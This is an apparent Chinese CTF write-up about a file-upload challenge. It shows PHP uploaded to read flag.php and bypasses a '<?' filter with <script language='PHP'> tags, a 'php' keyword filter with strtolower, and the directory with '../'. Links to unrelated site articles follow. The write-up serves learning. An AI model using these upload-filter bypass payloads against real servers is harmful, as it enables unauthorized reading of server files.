2020.09.03

ai 做过的题,两天不看就忘了……

做题

题目

题目地址

thinking……

  1. 打开网站

  2. 告诉了文件在flag.php中,所以写个php,把flag.php文件读取出来就行

    盗来的php

<?php
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 1 //设置超时
)
)
);
echo file_get_contents("flag.php", 0, $ctx);
?>

这里一开始直接在连接后边访问上传的文件,访问不到……后来发现是上传到/u目录下了……

访问输出:



很明显能看出来这是把php的头给过滤了,然后找到了以下代码来代替

  1. 绕过php<?过滤

代码如下:

<script language='PHP'>
echo file_get_contents("../flag.".strtolower("PHP"));
</script>

经过测试,有几点要说:

- 上边我本来把flag.php改成flag.pHp,但是并不能成功,说明文件系统对文件后缀名也是有区分的。

- 文件被上传的路径可以通过表单源码进行查看

- ../就是上一层目录下的文件

  1. 结果

总结

  1. php读取文件的几种方式

    • fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
    • 详细链接
  2. <?被过滤,用script标签来绕过
  3. php被过滤,用大写来绕过,可以用strtolower()来变成小写
  4. 服务器中文件,后缀名大小写也会有影响

最新文章

  1. java 旧url 处理的解决方法
  2. [LeetCode] Count Complete Tree Nodes 求完全二叉树的节点个数
  3. C++ --- Hellowrod
  4. PLSQL_性能优化系列13_Oracle Index Rebuild索引重建
  5. OpenGL ES 详解纹理生成和纹理映射步骤以及函数
  6. 定制自己的vue模版
  7. MongoDB的安装和使用
  8. js实现ctrl+v上传图片
  9. jgGrid pivot reload重新加载及刷新数据
  10. iOS开发-KVC和KVO的理解
  11. WinForm 之 应用程序开机自启动设置方法
  12. SpringBoot(三)-- 整合FreeMarker模板
  13. linux 下配置vncserver
  14. java.sql.SQLException: Access denied for user &#39;&#39;@&#39;localhost&#39; (using password: YES)
  15. Java - 慎用tagged class
  16. Odoo权限控制
  17. spring定时任务注解@Scheduled的记录
  18. 在Eclipse中开发angularjs
  19. 修改linux系统的时间EDT为CST
  20. 图解http读书笔记

热门文章

  1. centos7 重装ssh服务
  2. 无锁机制----比较交换CAS Compare And Swap
  3. TCP协议中的三次握手和四次挥手(图解)-转
  4. C++ Templates (1.1 初窥函数模板 A First Look at Function Templates)
  5. install-newton部署安装--------计算节点部署安装
  6. 团队作业1:团队展示&amp;选题(歪瑞古德小队)
  7. Django中views数据查询使用locals()函数进行优化
  8. Angular 学习思路
  9. 哇,ElasticSearch多字段权重排序居然可以这么玩
  10. java23种设计模式——四、原型模式